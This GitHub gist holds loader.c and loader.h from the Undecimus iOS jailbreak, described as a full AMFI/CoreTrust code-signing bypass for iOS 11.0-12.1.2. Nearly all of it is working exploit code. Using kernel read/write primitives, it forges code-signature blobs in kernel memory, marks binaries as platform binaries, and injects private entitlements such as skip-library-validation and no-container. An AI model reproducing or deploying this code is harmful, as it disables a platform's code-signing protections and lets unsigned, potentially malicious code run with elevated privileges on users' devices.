Last active
July 26, 2024 19:57
-
-
Save pwn20wndstuff/a57b213a6f8c75cb3b9a8c6002ae5756 to your computer and use it in GitHub Desktop.
Full AMFI/CoreTrust bypass for iOS 11.0-12.1.2 by @Jakeashacks with implementation by @Pwn20wnd
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// loader.c | |
// Undecimus | |
// | |
// Created by Pwn20wnd on 3/16/19. | |
// Copyright © 2019 Pwn20wnd. All rights reserved. | |
// Copyright © 2019 Jakeashacks. All rights reserved. | |
// | |
#include <common.h> | |
#include <cs_blobs.h> | |
#include <ubc_headers.h> | |
#include <mach-o/loader.h> | |
#include <mach-o/fat.h> | |
#include <CommonCrypto/CommonDigest.h> | |
#include "loader.h" | |
#include "KernelExecution.h" | |
#include "KernelStructureOffsets.h" | |
#include "KernelMemory.h" | |
#include "KernelUtilities.h" | |
#if 1 | |
#define LOADER_DEBUG 1 | |
#else | |
#define LOADER_DEBUG 0 | |
#endif | |
#if LOADER_DEBUG | |
#define LOADER_LOG(str, args...) LOG(str, ##args) | |
#else | |
#define LOADER_LOG(str, args...) LOG("") | |
#endif | |
extern uint64_t vnodeForPath(const char *path); | |
extern int _vnode_put(uint64_t vnode); | |
typedef struct { | |
const char *name; | |
uint64_t file_off; | |
int fd; | |
const void *addr; | |
size_t size; | |
} img_info_t; | |
static void *load_bytes(FILE *obj_file, off_t offset, uint32_t size) { | |
void *buf = calloc(1, size); | |
fseek(obj_file, offset, SEEK_SET); | |
fread(buf, size, 1, obj_file); | |
return buf; | |
} | |
static uint64_t get_code_signature_lc(FILE *file, int64_t *mach_off) { | |
size_t offset = 0; | |
struct load_command *cmd = NULL; | |
*mach_off = -1; | |
uint32_t *magic = load_bytes(file, offset, sizeof(uint32_t)); | |
int ncmds = 0; | |
if (*magic != 0xFEEDFACF && *magic != 0xBEBAFECA) { | |
free(magic); | |
return 0; | |
} | |
if(*magic == 0xBEBAFECA) { | |
uint32_t arch_off = sizeof(struct fat_header); | |
struct fat_header *fat = (struct fat_header*)load_bytes(file, 0, sizeof(struct fat_header)); | |
bool found = false; | |
int n = ntohl(fat->nfat_arch); | |
while (n-- > 0) { | |
struct fat_arch *arch = (struct fat_arch *)load_bytes(file, arch_off, sizeof(struct fat_arch)); | |
if (ntohl(arch->cputype) == 0x100000c) { | |
offset = ntohl(arch->offset); | |
found = true; | |
free(fat); | |
free(arch); | |
break; | |
} | |
free(arch); | |
arch_off += sizeof(struct fat_arch); | |
} | |
if (!found) { | |
free(fat); | |
free(magic); | |
return 0; | |
} | |
} | |
free(magic); | |
*mach_off = offset; | |
struct mach_header_64 *mh64 = load_bytes(file, offset, sizeof(struct mach_header_64)); | |
ncmds = mh64->ncmds; | |
free(mh64); | |
offset += sizeof(struct mach_header_64); | |
for (int i = 0; i < ncmds; i++) { | |
cmd = load_bytes(file, offset, sizeof(struct load_command)); | |
if (cmd->cmd == LC_CODE_SIGNATURE) { | |
free(cmd); | |
return offset; | |
} | |
offset += cmd->cmdsize; | |
free(cmd); | |
} | |
return 0; | |
} | |
static uint32_t swap_uint32( uint32_t val ) { | |
val = ((val << 8) & 0xFF00FF00 ) | ((val >> 8) & 0xFF00FF ); | |
return (val << 16) | (val >> 16); | |
} | |
static void get_sha256_inplace(const uint8_t* code_dir, uint8_t *out) { | |
if (code_dir == NULL) { | |
return; | |
} | |
uint32_t* code_dir_int = (uint32_t*)code_dir; | |
uint32_t realsize = 0; | |
for (int j = 0; j < 10; j++) { | |
if (swap_uint32(code_dir_int[j]) == 0xfade0c02) { | |
realsize = swap_uint32(code_dir_int[j+1]); | |
code_dir += 4*j; | |
} | |
} | |
CC_SHA256(code_dir, realsize, out); | |
} | |
static uint32_t read_magic(FILE* file, off_t offset) { | |
uint32_t magic; | |
fseek(file, offset, SEEK_SET); | |
fread(&magic, sizeof(uint32_t), 1, file); | |
return magic; | |
} | |
static uint8_t *get_code_directory(const char* name) { | |
FILE* fd = fopen(name, "r"); | |
uint32_t magic; | |
fread(&magic, sizeof(magic), 1, fd); | |
fseek(fd, 0, SEEK_SET); | |
long off = 0, file_off = 0; | |
int ncmds = 0; | |
bool found = false; | |
if (magic == MH_MAGIC_64) { | |
struct mach_header_64 mh64; | |
fread(&mh64, sizeof(mh64), 1, fd); | |
off = sizeof(mh64); | |
ncmds = mh64.ncmds; | |
} | |
else if (magic == MH_MAGIC) { | |
fclose(fd); | |
return NULL; | |
} | |
else if (magic == 0xBEBAFECA) { | |
size_t header_size = sizeof(struct fat_header); | |
size_t arch_size = sizeof(struct fat_arch); | |
size_t arch_off = header_size; | |
struct fat_header *fat = (struct fat_header*)load_bytes(fd, 0, (uint32_t)header_size); | |
struct fat_arch *arch = (struct fat_arch *)load_bytes(fd, arch_off, (uint32_t)arch_size); | |
int n = swap_uint32(fat->nfat_arch); | |
while (n-- > 0) { | |
magic = read_magic(fd, swap_uint32(arch->offset)); | |
if (magic == 0xFEEDFACF) { | |
found = true; | |
struct mach_header_64* mh64 = (struct mach_header_64*)load_bytes(fd, swap_uint32(arch->offset), sizeof(struct mach_header_64)); | |
file_off = swap_uint32(arch->offset); | |
off = swap_uint32(arch->offset) + sizeof(struct mach_header_64); | |
ncmds = mh64->ncmds; | |
break; | |
} | |
arch_off += arch_size; | |
arch = load_bytes(fd, arch_off, (uint32_t)arch_size); | |
} | |
if (!found) { | |
fclose(fd); | |
return NULL; | |
} | |
} | |
else { | |
fclose(fd); | |
return NULL; | |
} | |
for (int i = 0; i < ncmds; i++) { | |
struct load_command cmd; | |
fseek(fd, off, SEEK_SET); | |
fread(&cmd, sizeof(struct load_command), 1, fd); | |
if (cmd.cmd == LC_CODE_SIGNATURE) { | |
uint32_t off_cs; | |
fread(&off_cs, sizeof(uint32_t), 1, fd); | |
uint32_t size_cs; | |
fread(&size_cs, sizeof(uint32_t), 1, fd); | |
uint8_t *cd = malloc(size_cs); | |
fseek(fd, off_cs + file_off, SEEK_SET); | |
fread(cd, size_cs, 1, fd); | |
fclose(fd); | |
return cd; | |
} else { | |
off += cmd.cmdsize; | |
} | |
} | |
fclose(fd); | |
return NULL; | |
} | |
static uint64_t ubc_cs_blob_allocate(vm_size_t size) { | |
uint64_t size_p = kmem_alloc(sizeof(vm_size_t)); | |
if (!size_p) return 0; | |
kwrite(size_p, &size, sizeof(vm_size_t)); | |
uint64_t alloced = kexecute(GETOFFSET(kalloc_canblock), size_p, 1, GETOFFSET(ubc_cs_blob_allocate_site), 0, 0, 0, 0); | |
kmem_free(size_p, sizeof(vm_size_t)); | |
if (alloced) alloced = zm_fix_addr(alloced); | |
return alloced; | |
} | |
static int cs_validate_csblob(const uint8_t *addr, size_t length, CS_CodeDirectory **rcd, CS_GenericBlob **rentitlements) { | |
uint64_t rcdptr = kmem_alloc(sizeof(uint64_t)); | |
uint64_t entptr = kmem_alloc(sizeof(uint64_t)); | |
int ret = (int)kexecute(GETOFFSET(cs_validate_csblob), (uint64_t)addr, length, rcdptr, entptr, 0, 0, 0); | |
*rcd = (CS_CodeDirectory *)rk64(rcdptr); | |
*rentitlements = (CS_GenericBlob *)rk64(entptr); | |
kmem_free(rcdptr, sizeof(uint64_t)); | |
kmem_free(entptr, sizeof(uint64_t)); | |
return ret; | |
} | |
static const struct cs_hash *cs_find_md(uint8_t type) { | |
return (struct cs_hash *)rk64(GETOFFSET(cs_find_md) + ((type - 1) * 8)); | |
} | |
static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F; | |
// 1 on success, 0 on error | |
static int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) { | |
size_t len = strlen(key) + 1; | |
uint64_t ks = kmem_alloc(len); | |
kwrite(ks, key, len); | |
uint64_t vtab = rk64(dict); | |
uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP); | |
int rv = (int)kexecute(f, dict, ks, val, 0, 0, 0, 0); | |
kmem_free(ks, len); | |
return rv; | |
} | |
// load_code_signature manipulation | |
int loader_load(const char *filename) { | |
{ | |
static dispatch_once_t onceToken; | |
dispatch_once(&onceToken, ^{ | |
LOADER_LOG("load_code_signature replacement by @Jakeashacks"); | |
LOADER_LOG("loader by @Pwn20wnd"); | |
}); | |
} | |
LOADER_LOG("%s: Loading \"%s\"...", __FUNCTION__, filename); | |
int rv = 0; | |
FILE *file = NULL; | |
uint64_t vnode = 0; | |
uint64_t ubc_info = 0; | |
uint64_t cs_blob = 0; | |
int64_t mach_off = 0; | |
uint64_t lc_cmd = 0; | |
struct linkedit_data_command *lcp = NULL; | |
uint64_t addr = 0; | |
CS_GenericBlob *blob_buf = NULL; | |
struct cs_blob *blob = NULL; | |
CS_CodeDirectory *rcd = NULL; | |
CS_GenericBlob *rentitlements = NULL; | |
const unsigned char *md_base; | |
uint8_t hash[CS_HASH_MAX_SIZE]; | |
int md_size = 0; | |
uint64_t cd = 0; | |
uint64_t entitlements = 0; | |
vm_address_t new_mem_kaddr = 0; | |
vm_size_t new_mem_size = 0; | |
CS_CodeDirectory *new_cd = NULL; | |
CS_GenericBlob const *new_entitlements = NULL; | |
vm_offset_t new_blob_addr = 0; | |
vm_size_t new_blob_size = 0; | |
vm_size_t new_cdsize = 0; | |
const CS_CodeDirectory *old_cd = NULL; | |
CS_SuperBlob *new_superblob = NULL; | |
vm_size_t len = 0; | |
CS_CodeDirectory *_cd = NULL; | |
CS_GenericBlob *_entitlements = NULL; | |
CS_GenericBlob *newBlob = NULL; | |
uint64_t ents = 0; | |
off_t blob_start_offset = 0; | |
off_t blob_end_offset = 0; | |
uint64_t kblob = 0; | |
uint8_t *code_directory = NULL; | |
size_t blob_size = 0; | |
size_t length = 0; | |
code_directory = get_code_directory(filename); | |
if (code_directory == NULL) { | |
rv = -1; | |
goto out; | |
} | |
file = fopen(filename, "rb"); | |
if (file == NULL) { | |
rv = -2; | |
goto out; | |
} | |
vnode = vnodeForPath(filename); | |
if (vnode == 0) { | |
rv = -3; | |
goto out; | |
} | |
ubc_info = rk64(vnode + koffset(KSTRUCT_OFFSET_VNODE_V_UBCINFO)); | |
if (ubc_info == 0) { | |
rv = -4; | |
goto out; | |
} | |
cs_blob = rk64(ubc_info + koffset(KSTRUCT_OFFSET_UBC_INFO_CSBLOBS)); | |
if (cs_blob != 0) { | |
wk32(ubc_info + 44, rk32(GETOFFSET(cs_blob_generation_count))); | |
LOADER_LOG("%s: Already loaded \"%s\"", __FUNCTION__, filename); | |
rv = 0; | |
goto out; | |
} | |
lc_cmd = get_code_signature_lc(file, &mach_off); | |
if (lc_cmd == 0 || mach_off < 0) { | |
rv = -5; | |
goto out; | |
} | |
lcp = load_bytes(file, lc_cmd, sizeof(struct linkedit_data_command)); | |
if (lcp == NULL) { | |
rv = -6; | |
goto out; | |
} | |
lcp->dataoff += mach_off; | |
blob_size = lcp->datasize; | |
addr = kmem_alloc(blob_size); //ubc_cs_blob_allocate(blob_size); | |
if (addr == 0) { | |
rv = -7; | |
goto out; | |
} | |
blob_buf = load_bytes(file, lcp->dataoff, lcp->datasize); | |
if (blob_buf == NULL) { | |
rv = -8; | |
goto out; | |
} | |
if (!wkbuffer(addr, (void *)blob_buf, lcp->datasize)) { | |
rv = -9; | |
goto out; | |
} | |
blob = malloc(sizeof(struct cs_blob)); | |
if (blob == NULL) { | |
rv = -10; | |
goto out; | |
} | |
blob->csb_mem_size = lcp->datasize; | |
blob->csb_mem_offset = 0; | |
blob->csb_mem_kaddr = addr; | |
blob->csb_flags = 0; | |
blob->csb_signer_type = CS_SIGNER_TYPE_UNKNOWN; | |
blob->csb_platform_binary = 0; | |
blob->csb_platform_path = 0; | |
blob->csb_teamid = NULL; | |
blob->csb_entitlements_blob = NULL; | |
blob->csb_entitlements = NULL; | |
blob->csb_reconstituted = 0; | |
length = lcp->datasize; | |
if (cs_validate_csblob((const uint8_t *)addr, length, &rcd, &rentitlements) != 0) { | |
rv = -11; | |
goto out; | |
} | |
cd = (uint64_t)rcd; | |
rcd = malloc(sizeof(CS_CodeDirectory)); | |
if (!rkbuffer(cd, (void *)rcd, sizeof(CS_CodeDirectory))) { | |
rv = -12; | |
goto out; | |
} | |
if (rentitlements != NULL) { | |
entitlements = (uint64_t)rentitlements; | |
rentitlements = malloc(sizeof(CS_GenericBlob)); | |
if (rentitlements == NULL) { | |
rv = -13; | |
goto out; | |
} | |
if (!rkbuffer(entitlements, rentitlements, sizeof(CS_GenericBlob))) { | |
rv = -14; | |
goto out; | |
} | |
} | |
blob->csb_cd = (const CS_CodeDirectory *)cd; | |
blob->csb_entitlements_blob = (const CS_GenericBlob *)entitlements; | |
blob->csb_hashtype = cs_find_md(rcd->hashType); | |
if (blob->csb_hashtype == NULL || rk64((uint64_t)blob->csb_hashtype + offsetof(struct cs_hash, cs_digest_size)) > sizeof(hash)) { | |
rv = -15; | |
goto out; | |
} | |
blob->csb_hash_pageshift = rcd->pageSize; | |
blob->csb_hash_pagesize = (1U << rcd->pageSize); | |
blob->csb_hash_pagemask = blob->csb_hash_pagesize - 1; | |
blob->csb_hash_firstlevel_pagesize = 0; | |
blob->csb_flags = (ntohl(rcd->flags) & CS_ALLOWED_MACHO) | CS_VALID; | |
blob->csb_end_offset = (((vm_offset_t)ntohl(rcd->codeLimit) + blob->csb_hash_pagemask) & ~((vm_offset_t)blob->csb_hash_pagemask)); | |
if((ntohl(rcd->version) >= CS_SUPPORTSSCATTER) && (ntohl(rcd->scatterOffset))) { | |
const SC_Scatter *scatter = (const SC_Scatter*) | |
((const char*)rcd + ntohl(rcd->scatterOffset)); | |
blob->csb_start_offset = ((off_t)ntohl(scatter->base)) * blob->csb_hash_pagesize; | |
} else { | |
blob->csb_start_offset = 0; | |
} | |
md_base = (const unsigned char *)cd; | |
md_size = ntohl(rcd->length); | |
get_sha256_inplace(code_directory, hash); | |
memcpy(blob->csb_cdhash, hash, CS_CDHASH_LEN); | |
blob->csb_cpu_type = 0x0100000c; | |
blob->csb_base_offset = mach_off; | |
blob->csb_signer_type = 0; | |
blob->csb_flags = 0x24000005; | |
blob->csb_platform_binary = 1; | |
old_cd = blob->csb_cd; | |
new_cdsize = htonl(rk32((uint64_t)old_cd + offsetof(CS_CodeDirectory, length))); | |
new_blob_size = sizeof(CS_SuperBlob); | |
new_blob_size += sizeof(CS_BlobIndex); | |
new_blob_size += new_cdsize; | |
if (blob->csb_entitlements_blob) { | |
new_blob_size += sizeof(CS_BlobIndex); | |
new_blob_size += ntohl(rk32((uint64_t)blob->csb_entitlements_blob + offsetof(CS_GenericBlob, length))); | |
} | |
new_blob_addr = ubc_cs_blob_allocate(new_blob_size); | |
if (new_blob_addr == 0) { | |
rv = -16; | |
goto out; | |
} | |
new_superblob = (CS_SuperBlob *)new_blob_addr; | |
wk32((uint64_t)new_superblob + offsetof(CS_SuperBlob, magic), htonl(CSMAGIC_EMBEDDED_SIGNATURE)); | |
wk32((uint64_t)new_superblob + offsetof(CS_SuperBlob, length), htonl((uint32_t)new_blob_size)); | |
if (blob->csb_entitlements_blob != NULL) { | |
vm_size_t cd_offset = sizeof(CS_SuperBlob) + 2 * sizeof(CS_BlobIndex); | |
vm_size_t ent_offset = cd_offset + new_cdsize; | |
wk32((uint64_t)new_superblob + offsetof(CS_SuperBlob, count), htonl(2)); | |
wk32((uint64_t)new_superblob + offsetof(CS_SuperBlob, index[0].type), htonl(CSSLOT_CODEDIRECTORY)); | |
wk32((uint64_t)new_superblob + offsetof(CS_SuperBlob, index[0].offset), htonl((uint32_t)cd_offset)); | |
wk32((uint64_t)new_superblob + offsetof(CS_SuperBlob, index[1].type), htonl(CSSLOT_ENTITLEMENTS)); | |
wk32((uint64_t)new_superblob + offsetof(CS_SuperBlob, index[1].offset), htonl((uint32_t)ent_offset)); | |
void *buf = malloc(ntohl(rk32((uint64_t)blob->csb_entitlements_blob + offsetof(CS_GenericBlob, length)))); | |
if (buf == NULL) { | |
rv = -17; | |
goto out; | |
} | |
if (!rkbuffer((uint64_t)blob->csb_entitlements_blob, buf, ntohl(rk32((uint64_t)blob->csb_entitlements_blob + offsetof(CS_GenericBlob, length))))) { | |
rv = -18; | |
goto out; | |
} | |
if (!wkbuffer((uint64_t)(new_blob_addr + ent_offset), buf, ntohl(rk32((uint64_t)blob->csb_entitlements_blob + offsetof(CS_GenericBlob, length))))) { | |
rv = -19; | |
goto out; | |
} | |
free(buf); | |
buf = NULL; | |
new_cd = (CS_CodeDirectory *)(new_blob_addr + cd_offset); | |
} else { | |
new_cd = (CS_CodeDirectory *)new_blob_addr; | |
} | |
void *buf = malloc(new_cdsize); | |
if (buf == NULL) { | |
rv = -20; | |
goto out; | |
} | |
if (!rkbuffer((uint64_t)old_cd, buf, new_cdsize)) { | |
rv = -21; | |
goto out; | |
} | |
if (!wkbuffer((uint64_t)new_cd, buf, new_cdsize)) { | |
rv = -22; | |
goto out; | |
} | |
free(buf); | |
buf = NULL; | |
len = new_blob_size; | |
if (cs_validate_csblob((const uint8_t *)new_blob_addr, len, &_cd, &_entitlements) != 0) { | |
kexecute(GETOFFSET(kfree), new_blob_addr, new_blob_size, 0, 0, 0, 0, 0); | |
rv = -23; | |
goto out; | |
} | |
new_entitlements = _entitlements; | |
new_mem_size = new_blob_size; | |
new_mem_kaddr = new_blob_addr; | |
kmem_free(blob->csb_mem_kaddr, blob->csb_mem_size); //kexecute(GETOFFSET(kfree), blob->csb_mem_kaddr, blob->csb_mem_size, 0, 0, 0, 0, 0); | |
addr = 0; | |
blob->csb_mem_kaddr = new_mem_kaddr; | |
blob->csb_mem_size = new_mem_size; | |
blob->csb_cd = new_cd; | |
if (new_entitlements == 0) { | |
const char *newEntitlements = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" | |
"<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">" | |
"<plist version=\"1.0\">" | |
"<dict>" | |
"<key>platform-application</key>" | |
"<true/>" | |
"<key>com.apple.private.security.no-container</key>" | |
"<true/>" | |
"<key>com.apple.private.skip-library-validation</key>" | |
"<true/>" | |
"</dict>" | |
"</plist>"; | |
newBlob = malloc(sizeof(CS_GenericBlob) + strlen(newEntitlements) + 1); | |
if (newBlob == NULL) { | |
rv = -24; | |
goto out; | |
} | |
newBlob->magic = ntohl(CSMAGIC_EMBEDDED_ENTITLEMENTS); | |
newBlob->length = ntohl(strlen(newEntitlements) + 1); | |
memcpy(newBlob->data, newEntitlements, strlen(newEntitlements) + 1); | |
new_entitlements = (CS_GenericBlob *)ubc_cs_blob_allocate(sizeof(CS_GenericBlob) + strlen(newEntitlements) + 1); | |
if (new_entitlements == NULL) { | |
rv = -25; | |
goto out; | |
} | |
if (!wkbuffer((uint64_t)new_entitlements, newBlob, sizeof(CS_GenericBlob) + strlen(newEntitlements) + 1)) { | |
rv = -26; | |
goto out; | |
} | |
} | |
blob->csb_entitlements_blob = new_entitlements; | |
ents = kexecute(GETOFFSET(osunserializexml), (uint64_t)new_entitlements + offsetof(CS_GenericBlob, data), 0, 0, 0, 0, 0, 0); | |
if (ents == 0) { | |
rv = -27; | |
goto out; | |
} | |
ents = zm_fix_addr(ents); | |
blob->csb_entitlements = (void *)ents; | |
uint64_t OSBoolTrue = rk64(GETOFFSET(OSBoolean_True)); | |
if (OSBoolTrue == 0) { | |
rv = -28; | |
goto out; | |
} | |
if (OSDictionary_SetItem(ents, "platform-application", OSBoolTrue) != 1) { | |
rv = -29; | |
goto out; | |
} | |
if (OSDictionary_SetItem(ents, "com.apple.private.security.no-container", OSBoolTrue) != 1) { | |
rv = -30; | |
goto out; | |
} | |
if (OSDictionary_SetItem(ents, "com.apple.private.skip-library-validation", OSBoolTrue) != 1) { | |
rv = -31; | |
goto out; | |
} | |
blob->csb_reconstituted = 1; | |
blob_start_offset = blob->csb_base_offset + blob->csb_start_offset; | |
blob_end_offset = blob->csb_base_offset + blob->csb_end_offset; | |
if (blob_start_offset >= blob_end_offset || blob_start_offset < 0 || blob_end_offset <= 0) { | |
rv = -32; | |
goto out; | |
} | |
uint64_t ui_control = rk64(ubc_info + 8); | |
if (ui_control == 0) { | |
rv = -33; | |
goto out; | |
} | |
uint64_t moc_object = rk64(ui_control + 8); | |
if (moc_object == 0) { | |
rv = -34; | |
goto out; | |
} | |
wk32(moc_object + 168, (rk32(moc_object + 168) & 0xFFFFFEFF) | (1 << 8)); | |
wk32(ubc_info + 44, rk32(GETOFFSET(cs_blob_generation_count))); | |
blob->csb_next = 0; | |
kblob = ubc_cs_blob_allocate(sizeof(struct cs_blob)); | |
if (kblob == 0) { | |
rv = -35; | |
goto out; | |
} | |
if (!wkbuffer(kblob, blob, sizeof(struct cs_blob))) { | |
rv = -36; | |
goto out; | |
} | |
wk64(ubc_info + koffset(KSTRUCT_OFFSET_UBC_INFO_CSBLOBS), kblob); | |
LOADER_LOG("%s: Done", __FUNCTION__); | |
LOADER_LOG("%s: Loaded \"%s\"", __FUNCTION__); | |
rv = 0; | |
out: | |
LOADER_LOG("%s: Cleaning up...", __FUNCTION__); | |
if (file != NULL) { | |
fclose(file); | |
file = NULL; | |
} | |
if (addr != 0) { | |
kmem_free(addr, blob_size); //kexecute(GETOFFSET(kfree), addr, blob_size, 0, 0, 0, 0, 0); | |
addr = 0; | |
} | |
if (vnode != 0) { | |
_vnode_put(vnode); | |
vnode = 0; | |
} | |
ubc_info = 0; | |
cs_blob = 0; | |
mach_off = 0; | |
lc_cmd = 0; | |
if (lcp != NULL) { | |
free(lcp); | |
lcp = NULL; | |
} | |
if (blob_buf != NULL) { | |
free(blob_buf); | |
blob_buf = NULL; | |
} | |
if (blob != NULL) { | |
free(blob); | |
blob = NULL; | |
} | |
if (rcd != NULL) { | |
free(rcd); | |
rcd = NULL; | |
} | |
if (rentitlements != NULL) { | |
free(rentitlements); | |
rentitlements = NULL; | |
} | |
md_base = NULL; | |
md_size = 0; | |
cd = 0; | |
new_mem_kaddr = 0; | |
new_mem_size = 0; | |
new_cd = NULL; | |
new_entitlements = NULL; | |
new_blob_addr = 0; | |
new_blob_size = 0; | |
new_cdsize = 0; | |
old_cd = NULL; | |
new_superblob = NULL; | |
_cd = NULL; | |
_entitlements = NULL; | |
if (newBlob != NULL) { | |
free(newBlob); | |
newBlob = NULL; | |
} | |
ents = 0; | |
blob_start_offset = 0; | |
blob_end_offset = 0; | |
if (code_directory != NULL) { | |
free(code_directory); | |
code_directory = NULL; | |
} | |
LOADER_LOG("%s: rv: %d", __FUNCTION__, rv); | |
if (rv == 0) { | |
LOADER_LOG("%s: Success", __FUNCTION__); | |
} else { | |
LOADER_LOG("%s: Failure", __FUNCTION__); | |
} | |
return rv; | |
} | |
#undef LOADER_DEBUG | |
#undef LOADER_LOG |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// loader.h | |
// Undecimus | |
// | |
// Created by Pwn20wnd on 3/16/19. | |
// Copyright © 2019 Pwn20wnd. All rights reserved. | |
// Copyright © 2019 Jakeashacks. All rights reserved. | |
// | |
#ifndef loader_h | |
#define loader_h | |
#include <stdio.h> | |
int loader_load(const char *filename); | |
#endif /* loader_h */ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment